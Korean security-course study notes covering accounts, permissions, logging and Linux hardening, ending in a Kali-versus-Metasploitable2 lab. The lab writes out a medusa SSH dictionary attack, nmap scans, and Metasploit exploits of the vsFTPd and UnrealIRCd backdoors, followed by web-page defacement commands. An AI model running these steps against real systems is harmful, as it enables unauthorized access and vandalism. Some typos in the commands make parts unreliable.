OS의 종류
OS란 Operating System의 약자로 컴퓨터가 제공하는 한정적인 자원을 효율적으로 사용할 수 있도록 사용자와의 인터페이스를 제공하는 소프트웨어
1) Linux/Unix
- Linux : Ubuntu, RedHat, CentOS, SUSE 등등
- UNIX : hpux, IBM 등
- Android : 리눅스를 모바일 기기에 맞도록 Customized
- iOS : iPhone, iMAC의 운영체제, UNIX를 개량
- IOS : Cisco의 라우터, 스위치의 운영체제, UNIX를 개량
- IoT : CCTV, IP공유기, 차량용 네트워크장치(전장) ---> Linux개량
2) Windows
- MS에서 만드는 기기에만 국한
- DoS도 UNIX를 개량
시스템과 관련한 보안 기능
- 계정과 패스워드 관리 : 아주 기본이지
- 세션 관리 : 사용자와 시스템 또는 두 시스템 간의 활성화된 접속에 대한 관리
- 접근 관리 : 시스템이 네트워크 안에서 다른 시스템으로부터 보호될 수 있도록 네트워크 관점에서 접근통제
- 로그 관리 : 시스템 내부와 네트워크를 통한 외부 시스템에서 영향을 미칠 경우 기록
- 취약점 관리 : 누가봐도 결함을 관리하는거지?
계정과 패스워드 관리
계정 : Identification = ID
- 식별자 : 다른 사용자와 구분됨
- ex) 악플러 -> 계정 추적
인증 : Authentication
- 계정에 대한 올바른 소유자임을 증명하는 것
보안을 위한 인증의 4가지 접근방법
- What You Know(지식기반) : 알고 있는 것으로 증명
ex) 패스워드, 암구호, 패턴, 질의응답(PW복구), PIN번호 등
- What You Have(소유기반) : 가지고 있는 것으로 증명
ex) 신분증(주민증/여권/면허증), 출입증, OTP, 공동인증서, 신용카드/체크카드/현금카드 등
- Who You Are(생체기반) : 생체적 특성을 활용
ex) 지문, 홍채, 망막, 얼굴, 손바닥(융기선,골짜기), 손모양, 손등(정맥패턴), 목소리, 행위(제스쳐), 서명 등
- Where You Are(위치기반) : 어디에 있는지, 이동 경로 파악
ex) GPS, Wi-Fi, 통신(4G/5G)기지국 삼각측량 등 (IP기반인경우, 로그인 지역 등을 판단)
다중 요소 인증 (Multi-Factor Authentication)
- 위의 4가지 방식의 인증을 2종류 이상 사용해야 안전함
ex) 휴대폰 은행 앱 : 지문인식으로 로그인(FIDO : Fast Identity Online) + 계좌비밀번호 + (휴대폰인증)
ex) PC에서 은행 이체 : 공동인증서 + OTP + 계좌비밀번호
ex) iPin : 1차 비밀번호 + 2차 비밀번호 + (가입시 통신사 인증)
AWS (아마존 클라우드) 관리할 때 (AWS자격시험에 자주 출제)
- Root 패스워드 변경시 : 가입한 이메일로 검증 (이메일 : 소유기반)
- OTP 사용 권장 : 구글 OTP 활용 가능 ----> 주의사항 : 분실시 복구 불가능 (OTP 소유기반)
운영체제의 계정관리
윈도우 계정관리
- 명령프롬프트 관리자 권한으로 실행해서 확인하기
net localgroup //로컬컴퓨터의 그룹 목록 출력
- administrators : 관리자 그룹 (공격자들이 계정을 생성해서 이 그룹에 포함시키려고 함)
net localgroup administrators //administrators에 속한 사용자 목록 출력
- 사례) 해킹 당한 컴퓨터인지를 조사할 때 계정 목록을 확인하게 됨
-----> 관리자가 생성하지 않은 계정이 있을 경우 ----> 매우 의심해야 함
(버그를 활용한 공격을 하는 경우, 계정이 생성되기도 함)
- 모든 사용자를 administrators에 넣으면 편리할까?
--> NO! 사용자 최소화해야 함(한 명이면 또 퇴사할 때 문제발생 우려있음)
--> 권한이 많이 필요한 사용자는 Power Users에 넣으면 충분함
--> 꼭 필요한 만큼의 권한을 제공해야 함
- Backup Operators : 윈도우 시스템에서 시스템 파일을 백업하는 권한을 갖고 있음
- 일반사용자를 확인하려면 net users라는 명령어 사용
net accounts //계정 설정 내역이 출력됨
- 최소 암호 사용 기간 : 암호를 바꿨으면 일정기간동안 강제로 사용해야하는 기간 (원복금지)
- 최대 암호 사용 기간 : 암호를 최대한 사용할 수 있는 허용 기간 (비밀번호 교체주기)
- 최소 암호 길이 : 짧으면 쉽게 크래킹, 최소 13자리 이상 권장
- 대/소/숫/특수문자 섞어서 사용할 경우 : 6자리(1초), 7자리(1분), 8자리(8시간), 9자리(3주), 10자리(5년), 11자리(400년), 12자리(3만4천년) 뚫는 데 이만큼 걸린다는 뜻
- 패스워드 안정성 검증 사이트
https://www.security.org/how-secure-is-my-password/
주의 사항 : 실제 비밀번호 입력하지 말 것
유닉스 계정관리
root : x : 0 : 0 : root : /root : /bin/bash
//1 2 3 4 5 6 7
1은 사용자 계정
2는 원래 패스워드가 저장된 위치. 패스워드가 그대로 평문으로 노출되는 문제가 있어서 패스워드를 해시값으로 만들어서 다른 파일에 저장함(/etc/shadow 로 확인 가능). 근데 일부 IoT의 경우, X 부분에 비밀번호가 저장되어 있기도 함(아주 초소형 IoT들인 경우, 오래된 LINUX를 기반으로 만들기 때문)
3은 사용자 번호
4는 그룹번호
5는 실제 이름. 시스템 설정에 영향이 없고 자신의 이름을 입력해도 됨
6은 사용자의 홈 디렉토리 설정. 위의 예시는 관리자 계정이므로 /root 이지만 일반 사용자는 /home/princess와 같이 /home 디렉토리 하위에 위치함
7은 사용자의 셸 정의로 기본 설정은 bash shell. 사용하는 셸을 이곳에 정의 함

네트워크 장비의 계정관리
- 네트워크 장비에는 계정이라는 개념이 존재하지 않음
- 그러나 네트워크 장비도 계정을 생성하여 각 계정으로 사용할 수 있는 명령어 집합을 제한할 수 있음
- 네트워크가 대규모인 경우에는 계정 관리의 어려움 때문에 통합된 계정관리를 위해 TACASS+와 같은 솔루션을 적용하기도 함
네트워크 장비를 1000대 관리하는 경우
- 패스워드를 모두 똑같은 것을 사용하면 안됨 --> 하나만 뚫려도 1000대가 위험함
- 패스워드를 모두 다르게 사용하면 --> 관리에 어려움 --> 패스워드 관리 솔루션 활용
- 관리자는 자신의 패스워드만 잘 관리하고, 패스워드 관리 솔루션(SSO: Single Sign On)을 활용
- Multi-Factor 인증으로 보완해야함 (OTP, 생체인증 추가로 활용)
- 만약, 뚫리면 관리자 책임 왜냐면 본인의 패스워드가 뚫린거여서 본인 잘못
다음은 VMware Player와 Ubuntu를 설치한 후 진행 됨
Ubuntu 계정 생성
$ cat /etc/passwd //루트디렉토리 아래에 etc 아래에 passwd 파일을 읽어라
$ cat etc/passwd //현재디렉토리 아래에 etc 아래에 passwd 파일을 읽어라
$ //일반 사용자의 프롬프트
# //관리자의 프롬프트
$ cat /etc/shadow //파일을 읽을 수 없음(일반 사용자이므로)
$ sudo -i //관리자 권한으로 전환
# cat /etc/shadow //파일 내용을 읽을 수 있음
# useradd blackpink //blackpink라는 계정 생성
# passwd blackpink //blackpink의 비밀번호 설정
# cat /etc/passwd //blackpink 계정 확인해 봄
User Number
- 0: root
- 1000 : 설치할 때 만든 계정 (오래된 리눅스는 500번부터 시작하는 경우도 있음
- 1001 ~ : 생성한 계정
# adduser bts //계정 생성 마법사가 시작됨
# ls -l /home //사용자들의 홈 디렉토리 목록을 확인
# exit //관리자 권한 종료
* 참고 ! 루트 권한 관리 방법
- 평소에는 $ 상태로 사용을 하다가 루트 권한을 많이 사용해야할 때만 sudo -i를 사용하도록 함
- 가급적이면 $ 상태에서 명령어 앞에 sudo 붙여서 사용 권장
세션 관리
session : 연결이 유지된 상태
- ssh, ftp, telnet 등 --> 연결한 후에 연결을 해제할 때까지 연겨이 유지됨
- http --> 페이지만 보여주면 연결을 끊어버림
SSH연결하기
//vm에서
$ ip addr //ens33 인터페이스에 IP주소가 보임
$ sudo apt update // 자동설치 목록 업데이트
$ sudo apt install ssh //ssh 서버 설치
//윈도우에서 명령프롬프트 켜고
ssh blackpink@IP주소 //ssh 클라이언트는 windows에 이미 설치되어 있음
//다시 vm
$ pwd //print working directory(현재 디렉토리를 알려달라)
$ whoami // 나는 누구인가 (어떤 계정으로 접속했는지 확인)
접근통제 (Access Control)
접근제어의 의미
- 누구는 되고 누구는 안됨 : 허용과 거부를 구분해서 처리
ex) 방화벽(Firewall) : 네트워크에서 허용과 거부를 처리하는 장치 (IP,Port번호 기준)
- 시스템의 보안 수준을 갖추기 위한 가장 기본적 수단
운영체제의 접근 제어
- 운영체제 안에서도 접근 통제를 하는 기능 있음. 사용자가 root인지 user인 지에 따라 결정
- Inted 데몬은 클라이언트로부터 inted가 관리하고 있는 Telnet이나 SSH, FTP 등에 대한 연결 요청을 받은 후 해당 데몬을 활성화시켜 실제 서비스를 하는, 데몬과 클라이언트의 요청을 연결시켜주는 역할
- TCPWrapper가 설치되면, inted 데몬은 TCPWrapper의 tcpd 데몬에 넘겨줌. 데몬은 접속에 요구한 클라이언트에 적절한 접근 권한이 있는 지 확인 후 해당 데몬에 연결을 넘겨주며, 이 때 연결에 대한 로그도 실시 가능
데이터베이스의 접근 제어
- 회원가입 --> insert 권한 필요
- 자신의 정보를 조회하려면 --> select ~~ where id='자신';
- 직원이 거래내역을 조회하려면 --> select ~~where transaction = ' ';
- 권한 너무 많이 주면 문제 발생 가능함 (권한남용)
IP를 활용한 접근 제한
- 지사, 원격 근무지, 재택 근무지 등의 IP를 파악해서 제한적으로 접속을 허용
- 아무데서나 접속 가능하도록 열어놓으면 공격자들이 접속 시도
- DB 서버는 웹서버에서만 접근 가능하도록 설정해야 함
권한관리
윈도우의 권한 관리
- NTFS 권한의 종류 : 모든 권한, 수정, 읽기 및 실행, 디렉토리 내용 보기, 읽기, 쓰기
- 규칙1 : 접근권하는 누적
- 규칙 2 : 파일에 대한 접근권한이 디렉토리에 대한 접근 권한보다 우선함
- 규칙 3 : 허용보다 거부가 우선
유닉스의 권한 관리
- 숫자로 표시 가능
- r : read(읽기) --> 4
- w : write(쓰기, 수정) --> 2
- x : executable(실행) --> 1
- - : 권한없음 -->0
- 권한이 6이라면? 4 + 2 --> read, write
- Owner(소유자), Group(그룹), Other(기타,일반 또는 누구나) rwxrwxrwx
- 파일이면 맨 앞에 - 추가, 디렉토리라면 d를추가
$ ls -l /etc/hosts // :644
$ ls -l /etc/ssh/ssh_host_rsa_key // : 600 , 소유자만 읽고 쓰기 가능
$ ls -l /etc/ssh/ssh_host_rsa_key.pub // : 644, 공개키로 다른사람들에게 제공하고 나에게 비밀메세지 보낼 때 사용
/home/bts : 750
/tmp : rwxrwxrwt --> t : sticky bit --> 1777
* sticky bit : 일반 사용자들이 디렉토리에 파일을 업로드 할 수 있지만, 다른 사용자가 업로드한 파일을 삭제, 변경하지 못하도록 하기 위한 권한 설정 방식
- ls : 리스트의 줄임말, 현재 위치한 디렉토리의 내용을 출력하는 명령어, 윈도우 dir과 유사
응용 프로그램의 권한 관리
- 응용프로그램은 응용 프로그램 내의 권한보다 응용 프로그램 자체의 실행 권한이 더 중요
- 자신을 실행한 계정의 권한을 물려 받음
- 웹쉘로 웹서버 뿐 아니라 리눅스 전체를 좌우할 수 있게 됨
- 대응 방법 : 일반 사용자 권한으로 응용프로그램을 실행하도록 하고, 그 계정은 잠금 또는 제한적 사용
웹서버 설치하기
$ sudo apt install apache2 -y // 웹서버인 아파치 설치, 뒤에 y는 미리 yes하는 것
$ cd /var/www/html
$ sudo mv index.html index.old // 파일 확장자 변경
$ sudo apt install vim -y // vim 설치
$ sudo vi index.html // 없는 파일을 만들어서 쓰기
i //편집모드로 바뀜
Welcome to my website
ESC키 //명령어 모드로 바뀜
:wq // write and quit (저장하고 종료)
* vi는 아주 오래 전에 만든 편집기 --> 사용하기 어려움 / vim은 최근에 만든 사용하기 쉬운 편집기
- cd : change directory의 줄임말, 현재 작업 중인 디렉토리의 위치를 이동하는 명령어
- mv : move의 줄임말, 파일이나 디렉토리를 이동시킬 때 사용하는 명령어
소유자 변경하기 : 웹 디렉토리 파일을 웹서버 소유로 변경하기
$ sudo chown www-data index.html // index.html의 Owner를 root에서 www-data로 변경
$ sudo chmod 600 index.html // www-data가 일반 사용자라 index.html 읽기 가능
$ sudo service apache2 restart // 바뀐 내용 적용
$ sudo chown root index.html // index.html 파일 소유자를 root로 변경
$ sudo service apache2 restart // 웹브라우저에서 Forbidden으로 나옴 --> 접근 불가
$ sudo chmod 644 index.html
$ sudo service apache2 restart // 웹브라우저에서 파일 내용 표시 됨
로그 관리
AAA
- Authentication(인증) : ID + PW
- Authorization(인가) : ID + PW + 권한
- Accounting : 계정에 대한 책임 --> 기록이 남게 되고 기록에 따라 행위 추적 가능
윈도우에서의 로그
- 윈도우는 이벤트라고 불리는 중앙 집중화된 형태로 로그를 수집하여 저장
- 윈도우에서 로깅 항목과 설정사항은 [제어판]-[관리도구]-[로컬 보안 정책]의 [로컬정책]-[감사정책]메뉴에 있음
- 감사 (Audit) : 통제가 잘 되고 있는 지를 검토하는 것
--> 허용에 대한 기록
--> 거부에 대한 기록
--> 감사할 대상이 많으면 로그의 양이 엄청 늘어나게 되어 관리 어렵
--> 감사할 대상 줄이면 로그의 양 줄지만 기록 놓칠 가능성 높아짐

- 행위를 분석하는 것을 로그 분석이라고 함
- 침해사고(해킹) 분석 : 로그분석
LINUX에서의 로그
- 로그는 관리자만 볼 수 있으므로 sudo 붙여야 함
- UTMP : 가장 기본적인 로그. 텍스트가 아닌 바이너리 형태로 로그가 저장 됨 (w명령으로 확인 가능)
- WTMP : urmp랑 비슷함. (last명령으로 확인 가능)
- Secure: Ubuntu에는 없음. redhat, centos, fedora에는 있음. debian, ubuntu, mint에는 auth.log가 있음. 보안과 직접적으로 연관된 로그가 저장됨
$ sudo tail -20 /var/log/auth.log // 최근 로그 20줄 보기
$ sudo head -20 /var/log/auth.log // 오래된 로그 20줄 보기
- syslog : 시스템의 운영과 관련한 전반적인 로그. debian, ubuntu, mint에만 있음. redhat, centos, fedora에는 messages가 있음
응용 프로그램의 로그 관리
- IIS 웹 서버의 로그 (Internet Information Services) : 기본 W3C 형식으로 남도록 설정되어 있음(MS에서)

- 날짜와 시간 : 2012-06-03 08:53:12
- 서버 IP : 192.168.137.128
- HTTP 접근 방법과 접근 URL : GET /XSS/GetCookie.asp?cookie=ASPSESSIO...
- 서버 포트 : 80
- 클라이언트 IP : 192.168.137.1
- 클라이언트의 웹 브라우저 : Mozilla/5.0 + (compatible;+MSIE +9.0;+Windows..
- 실행 결과 코드 : 200(OK)
- 서버에서 클라이언트로 전송한 데이터 크기 : 0
- 클라이언트에서 서버로 전송한 데이터의 크기 : 0
- 처리 소요 시간 : 225 밀리세컨드
- 아파치 웹 서버의 로그 : access.log 명령으로 확인 가능

- 클라이언트 IP(%h) : 192.168.137.1
- 클라이언트 로그인명(%l) : -
- 클라이언트 사용자명(%u) : -
- 날짜와 시간(%t) : [06/JUN/2012:05:48:28 +0900]
- HTTP 접근 방법과 접근 URL(%r) : GET / HTTP/1.1
- 실행 결과 코드(%s) : 403 Forbidden
- 서버에서 클라이언트로 전송한 데이터 크기(%b) : 4609 바이트
- 클라이언트의 웹 브라우저(%i) : Mozilla/5.0 (compatible; MSIE 9.0; Windows..
Kali Linux와 Metasploitable2
Kali Linux
- Debian Linux에 다양한 보안 및 해킹 도구를 설치 (취약점 분석할 때 많이 사용)
- Offensive Sexurity 사에서 취약점 분석을 위해 무료 배포 https://www.kali.org/
- Kali는 인도의 전쟁 여신
Metasploitable2
- 각종 취약한 어플리케이션 버전을 골라서 설치한 Victim용 운영체제
- Rapid7이라는 보안업체에서 Metasploit(취약점 공격 도구)로 실습해보라고 만듬
- https://sourceforge.net/projects/metasploitable/files/Metasploitable2/
약점과 취약점
약점(Weakness)
- 비교적 약한 부분, 없어지지 않음(계속 존재)
- 시스템의 공통적인 부분
- 공식 웹사이트 : https://cwe.mitre.org
- CWE : Common Weakness Enumeration (공통 약점 목록)
- 공식 약점 번호 체계 : CWE-nnnn
취약점(Vulnerability, vulns)
- 매우 치명적인 결함, 패치/업데이트/업그레이드를 해서 제거 가능
- 특정 버전에만 존재 --> 버전만 알면 취약점이 존재하는 지 알 수 있음
- 공식 웹사이트 : https://cve.mitre.org
- CVE : Common Vulnerabilities and Exposures
- 공식 취약점 번호 체계 : CVE-YYYY-NNNN ~ CVE-YYYY-NNNNNNN
- MS 취약점 : MS연도-발표순서번호 <-->MS 보안패치 : KB(번호 7자리)
(반드시 1:1 매핑은 아님!)
취약점 공격(Exploit)
- 취약점 공격 --> 권한 획득 --> 파일 가져오거나 시스템 손상 가능
- Zero-day Exploit : 알려지지 않은 취약점(CVE코드 없음)을 이용한 공격
- One-day Exploit : 이미 알려진 취약점(CVE코드 있음)을 이용한 공격 --> 집중, 보완
취약점 패치가 나오는 과정
- 찾은 패치를 만들 때까지 걸리는 시간 : 25-50일 ( 이 기간동안 언론 통제하는 것을 엠바고라고 함)
- 패치가 오래 걸리는 이유
-취약점을 제조사에 바로 알려주지 않고 Dark Web에서 뒷거래 (Windows 알려지지 않은 취약점 5000만원)
-취약점 검증 후 패치 개발하는 데 시간 많이 걸림 --> 취약점 개수 증가로 인해
-취약점 패치 후 또다른 취약점 발견되기도 함 --> 테스트 많이 해봐야 함 --> 시간소요
(MS 직원 중 50%가 테스트를 해 봄)
*Bug Bounty : 취약점을 제조사에 알려주면 제조사에서 보상해 주는 것
Dictionary Attack
딕셔너리(사전) 구경
- 딕셔너리 : 취약한 패스워드를 모아놓은 파일
$ cd /usr/share/john
$ less password.lst // q 누르면 종료 됨
$ sudo vi password.lst //자주 사용하는 단어들을 모아 둔 딕셔너리 파일, dd는 한 줄 삭제
딕셔너리 만들어 보기
- 숫자 4자리 구성되어 있는 딕셔너리 만들기
$ cd /usr/share/crunch
$ sudo crunch 4 4 0123456789 -o test01.txt
$ less test01.txt // 0000~9999 나옴
- 알파벳 4자리로 구성되어 있는 딕셔너리 만들기
$ sudo crunch 4 4 abcdefghijklmnopqrstuvwxyz -o test02.txt //이렇게 해도 되겠지만..
$ less charset.lst // 여길 보면 대문자 ualpha, 소문자 lalpha, 섞어서 mixalpha
$ sudo crunch 4 4 -f charset.lst lalpha -o test02.txt //-f : file
$ less test02.txt
* 주의사항 : 너무 크게 파일을 만들면 운영체제가 다운 될 수도 있음(500Mb이하 권장)
- admin이라는 단어 뒤에 숫자 3개 오는 딕셔너리 만들기
$ sudo crunch 8 8 0123456789 -t 'admin@@@' -o test03.txt
$ less test.txt
- Dictionary Attack
//ubuntu에서
$ sudo pwd
$ sudo adduser newjeans // 비밀번호는 admin123
//kali로 다시 가서
$ sudo medusa -h ubuntuIP -u newjeans -P test03.txt -M ssh
// -h는 host, -u는 user, -P는 Password dictionary, -M은 Module
-가능성이 높은 딕셔너리 파일을 이용해서 패스워드를 대입해 보는 공격
-단점 : 시간이 많이 걸림, 딕셔너리에 없는 단어 사용시 공격 실패
-대응방법 : 횟수제한, 일정시간 잠금
* Dictionary 공격으로 로그가 얼마나 많이 생성되었는 지 확인
:Ubuntu에서 $ sudo tail -30 /var/log/auth.log
리눅스 보안 강화
- root 사용자 제한
- 일반 사용자 계정은 역할에 맞도록 설정 (Role-Base)
- SSH외에 암호화 지원 안되는 접근 비활성화
- SSH 접근 최소화
- 로그 기록 및 관리
- Selinux 또는 UFW 등 최신 보안 적용
- 파티션 설정 및 디스크 암호화
- 각종 system control 관련 최적화 및 보안 강화
- 계정 관리 강화
- 불필요한 서비스 제거, 서비스 최소화
- 최신 버전으로 주기적인 업데이트
로그 기록 및 관리
- 온라인 스토리지 --> 오프라인 스토리지 (테이프 : 단가 낮음)
- Cloud에 백업 (자동으로 단가가 싼 스토리지로 이동하도록 함)
- Ring Backup : 오래된 로그를 덮어쓰는 방식 ( 6개월로 설정하면 6개월 넘은 스토리지에 덮어쓰기 함)
방화벽
- 네트워크 방화벽 : 네트워크 앞단에 배치 (독립적인 제품 : 팔로알토, 포티넷, 안랩 등) --> SW,HW 일체형
- 시스템 방화벽 : 운영체제 자체에 포함되어 있음 (윈도우 방화벽, UFW, iptable 등) --> SW
계정관리
- 불필요한 계정은 삭제
- 권한의 최소화
- 1인 1계정
불필요한 서비스
- 예전에 많이 사용했으나 최근에는 사용하지 않는 서비스
- 사용빈도가 너무 낮은 경우
Root 관리
- Ubuntu, Debian 에서는 root계정 비활성화 --> 매우 안전
- Red hat, CentOS 에서는 root 계정 사용 가능 --> root 패스워드 노출 시 매우 위험
- root 사용자 로그인 제한
$ sudo apt install vim
$ sudo vi /etx/ssh/sshd_config
:set nu // 라인 번호를 왼쪽에 표시
/Permit // 검색해서 내가 원하는 단어가 찾아지면 엔터
i //편집 모드 전환
PermitRootLogin no
ESC
:wq
시스템 설정
$ sudo sysctl -w //수정할 때
$ sudo sysctl -a //읽기만할 때
$ sudo susctl -a | grep icmp // icmp 관련 설정 내역 확인
$ sudo sysctl -a | grep tcp_syn // tcp syn 관련 설정 내역 확인
$ sudo sysctl -a | grep udp_ // udp관련 설정 내역 확인
- ICMP(Internet Control Message Protocol): 인터넷 환경에서 오류에 관한 처리를 지원하는 용도로 사용되며, IP 패킷의 데이터 부분에 캡슐화되어 송신 호스트에게 전달됨. TCP/IP 기반의 통신망에서 전송 과정에 문제가 발생하면 라우터에 의해 ICMP 메시지가 자동으로 발생하여 패킷 송신 호스트에게 전달됨
- TCP(Trasmission Control Protocol): 연결 지향적 프로토콜. 연결 지향 프로토콜이란 클라이언트와 서버가 연결된 상태에서 데이터를 주고받는 프로토콜을 의미. 클라이언트가 연결 요청(SYN 데이터 전송)을 하고, 서버가 연결을 수락하면 통신 선로가 고정되고, 모든 데이터는 고정된 통신 선로를 통해서 순차적으로 전달. TCP는 패킷을 성공적으로 전송하면(ACK) 라는 신호를 날리고 만약에 ACK 신호가 제 시간에 도착하지 않으면 Timeout이 발생하여 패킷 손실이 발생한 패킷을 다시 전송해줌. TCP 통신을 위한 네트워크 연결은 3 way handshake 이라는 방식으로 연결
- UDP(User Datagram Protocol): 전송계층의 비연결 지향적 프로토콜. 비연결 지향적이란 데이터를 주고받을 때 연결 절차를 거치지 않고 발신자가 일방적으로 데이터를 발신하는 방식을 의미. UDP는 발신자가 데이터 패킷을 순차적으로 보내더라도 이 패킷들은 서로 다른 통신 선로를 통해 전달 될 수 있음. 먼저 보낸 패킷이 느린 선로를 통해 전송될 경우 나중에 보낸 패킷보다 늦게 도착할 수 있으며 최악의 경우 잘못된 선로로 전송되어 유실될 수도 있음. 이럴 경우 TCP와는 다르게 UDP는 중간에 패킷이 유실이나 변조가 되어도 재전송을 하지 않음
*DDoS 현황 확인 사이트
NETSCOUT Cyber Threat Horizon provides a highly contextualized and customizable real-time view into the global cyber threat landscape
horizon.netscout.com
Keepalive Time 3600으로 줄이기
$ sudo sysctl -a | grep keepalive_time // 확인
$ sudo sysctl -w net.iipv4.tcp_keepalive_time=3600
Ping 거절하기
// 먼저 Kali에서 Ubuntu로 Ping 보내기
$ ping IP주소
//Ubuntu로 다시 가기
$ sudo sysctl -w net.ipv4.icmp_echo_ignore_all=1 //ignore : 무시한다 (응답안함), 1이면 활성화
$ sudo sysctl -w net.ipv4.icmp_echo_ignore_all=0 //무시하지 않음 --> 응답함
- 굳이 ping을 받지 않아도 되는 시스템이라면 ignore 활성화 함
- ICMP와 관련한 DDoS 공격을 빈번하게 당하는 경우, 사용하면 좋음
- Ping 이라는 것은 명령어 (3계층에서 동작)
-ICMP Echo Request를 보내면, ICMP Echo Reply로 응답하게 됨 (ignore 활성화 시 reply 안보냄)
-네트워크 경로가 정상적인 지 확인 할 때, 시스템 정상 동작 확인 시 사용
SYN의 대기큐 크기 늘리기
- 대기큐가 작으면 SYN 많이 받기 어려움
$ sudo sysctl -a |grep syn_backlog // 기본 128로 설정되어 있음(매우 작은 상태)
$ sudo sysctl -w net.ipv4.tcp_max_syn_backlog=1-24 // SYN Flooding 공격 완화 가능
*syscl 명령은 시스템의 제어를 설정하기 위한 명령어
* 설정은 정답이 있는 것이 아니라, 상황이나 서버의 역할에 맞게 적절하게 조절해서 설정해야 함
Metasploitable2 Exploit
Metasploitable실행
- $ ifconfig로 IP주소 확인
- Kali linux로 이동
//1. Ping Scan : 네트워크에 ping 보내서 응답하는 시스템 조사 --> 현재 켜져있는 시스템 IP 알 수 있음
$ cd~ //자신의 홈 디렉토리로 이동
$ sudo nmap -sP ###.###.###.1-140
$ sudo nmap -sP ###.###.###.0/24 // 네트워크 전체 조사 (1-254)
// 2. TCP Scan : 열려있는 TCP 포트 찾는 스캐닝 기법, 3-Way Handshaking 방식이어서 기록 남음
$ sudo nmap -sT IP주소 // 컴퓨터에서 실행중인 서비스 목록 확인 가능
// 로그인과 관련된 서비스 찾으면, Dictionary Attack 시도 가능
// 3. Stealth Scan(Half-Open scan 이라고도 함) : 3-Way Handshaking에서 마지막 ACK 안보내는 기법
// 로그에 기록이 남지 않음. 방화벽 등 보안 솔루션에서 탐지 됨. TCP scan과 결과 동일, 가장 많이 사용되는 스캔
$ sudo nmap -sS IP주소
//4. Version scan : 버전 확인 스캐닝 기법 --> 취약점 존재 버전 설치 되었는 지 확인 가능
$ sudo nmap -sV IP주소
// 5. OS scan : 운영체제 상세한 결과 조사
$ sudo nmap -O IP주소
//6. 엉터리 스캔 : TCP/IP 로직에 맞지 않는 스캐닝 해보는 것
// 목적: 보안솔루션 동작여부 확인
// 포트 open : 응답 하지 않음
// 포트 close : RST 보냄
// 보안 솔루션이 존재하는 경우, 포트 닫혀있어도 응답 X
// 결과는 TCP scan, Stealth scan과 유사
$ sudo nmap -sF IP주소 //FIN scan (종료 요청)
$ sudo nmap -sN IP주소 //Null scan (TCP Flag 모두 OFF 해서 보냄)
$ sudo nmap -sX IP주소 //X-mas scan (TCP Flag 중 URG/PSH/FIN만 켜서 보냄)
//7. All scan : OS+Version+Traceroute+Script 한번에 스캔
// 시간 오래 걸림 주의, 주로 취약점 점검 시 사용
// 시간 줄이기 위한 옵션 필요 --> -Tn : n은 0부터 6까지, 숫자가 클수록 속도 빠르지만 너무 빠르면 대충 함..
$ sudo nmap -A -T4 IP주소
$ sudo nmap --help // 다양한 옵션 확인 가능
$sudo nmap -sS IP주소 -p 3389 // 특정포트만 확인 시 (주로 공격자 사용)
Script 활용하여 취약점 여부 확인
$ cd /usr/share/nmap/scripts
$ ls
// 확장자가 nse (Nmap Script Engine의 줄임말)인 파일들이 많음
$ ls -l | wc -l
//607개의 취약점 점검 스크립트 존재
- vsFTPd 2.3.4 취약점 스크립트 활용
$ sudo find . -name"*vsftp*" // .은 현재 디렉토리, *은 와일드 문자
$ less ftp-vsftp-backdoor.nse
$ sudo nmap --script=ftp-vsftp-backdoor.nse IP주소
-결과
State: VULNERABLE (Exploitable) ------> 취약점이 존재하고 있음을 확인!!!
Exploit results:
| Shell command: id
| Results: uid=0(root) gid=0(root) -----> Exploit를 하면 root권한을 획득할 수 있음!!!
- IRC 취약점 존재 확인 (Internet Relay Chat : 인터넷 채팅 중계 서버)
$ sudo find . -name"*irc*" //취약점 점검 스크립트 확인
// All scan결과에서 Unrealircd 3.2.8.1버전 사용하고 있음 확인
// 구글에서 Unrealircd 3.2.8.1 exploit 검색해보니 취약점 있음
// irc-unrealircd-backdooor.nse를 활용해서 스캐닝 하겠음
$ sudo nmap --script=irc-unrealircd-backdooor.nse IP주소 -p 6667
// Looks like trojaned version of unrealircd (트로이 목마 탑재된 것으로 보임)
*악성 코드(Malware)의 종류 : Virus, Worm, Trojan horse, Backdoor, Ransomware, Hoax, Joke, spyware, keylogger, addware 등등
*Nmap Scropt는 X-ray나 혈액검사와 유사함
취약점 Exploit
Metasploit 소개
- H.D.Moore가 Perl script로 취약점 분석 스크립트를 만들었으나 에러가 너무 많았음
- Rapid7이라는 보안 회사에서 인수하며 유료버전과 무료버전을 영원히 제공하겠다고 약속
- Rapid7에서 Ruby script로 재작성 --> 에러가 확 줄어듦
- Metasploit Framework무료버전을 리눅스용과 윈도우용 두가지로 배포했지만, Windows용은 설치하면 취약점 스크립트를 악성코드로 인식해서 삭제되는 문제가 발생하므로 리눅스용 권장
- 근데 또 설치가 복잡해서 Kali Linux에 설치된 것을 사용하면 편리함
준비
Metasploitable2 로그인 하고 IP주소 확인
Kali에서 Exploitaion Tools안에 Metasploit Framework 사용
msf6 나오면 준비 완료!

vsFTPd 2.3.4 취약점에 대한 검증
msf6> search vsftpd //Exploit할 모듈 검색
- 결과에 auxiliary로 시작하는 스크립트는 보조모듈, exploit로 시작하는 스크립트가 지나 공격 모듈
msf6> use 1 //모듈 장착
msf6> info //모듈에 대한 설명 확인
msf6> set rhost IP주소 //rhost: target host(Victim: Metasploitable2-linux의 IP입력)
msf6> exploit
- 결과 : Command shell session 1 opened --> 쉘을 열었음(성공!!)
- Victim host의 Shell을 사용할 수 있는 상태
echo "You are hacked" >> /var/www/index.html //index.html 파일을 생성하고 거기에 텍스트 추가
chmod 777 /var/www/index.html //root 권한으로 만들어서 일반사용자 읽을 수 없어서 수정
rm /var/www/index.html
echo "You are hacked" >> /var/www/index.php //홈페이지 맨 아래 한 줄 추가


- 접속을 끊으려면 ctrl+c
- msf6 (모듈명) > back 하면 모듈장착이 해제됨
IRC 취약점에 대한 Metasploit 검증
- search를 많이 하면 나옴 --> search CVE-..
=> 정확한 모듈을 찾아야하는데 CVE 코드가 가장 정확함
msf6> search irc //26개
msf6> search unrealirc //서비스 이름으로 검색 --> 여러 개 나올 수 있음
msf6> search cve-2010-2075 //취약점 코드 CVE를 넣으면 가장 정확함
msf6> use 0
msf6> set rhost IP주소
msf6> exploit //에러 나옴
//A payload has not been selected. 에러메시지 : 현재 모듈에서 사용 가능한 페이로드 보여줌
- payload목록을 보면 Bind와 Reverse가 있는데 Bind는 Attacker가 Victim쪽으로 접근
- Reverse는 Victim이 Attacker에게 접근
msf6> set payload3 //payload/cmd/unix/bind_ruby를 선택
msf6> exploit
- 결과 : Command shell session 2 opened --> 두번째 세션이 열렸다는 의미
echo "You will die" > /var/www/index.html // >는 덮어쓰기, >>는 이어쓰기(추가)
chmod 777 /var/www/index.html

- 너무 깜찍하니까 좀 바꿔줘보자
echo "<font color=red>You will die</font>" > /var/www/index.html
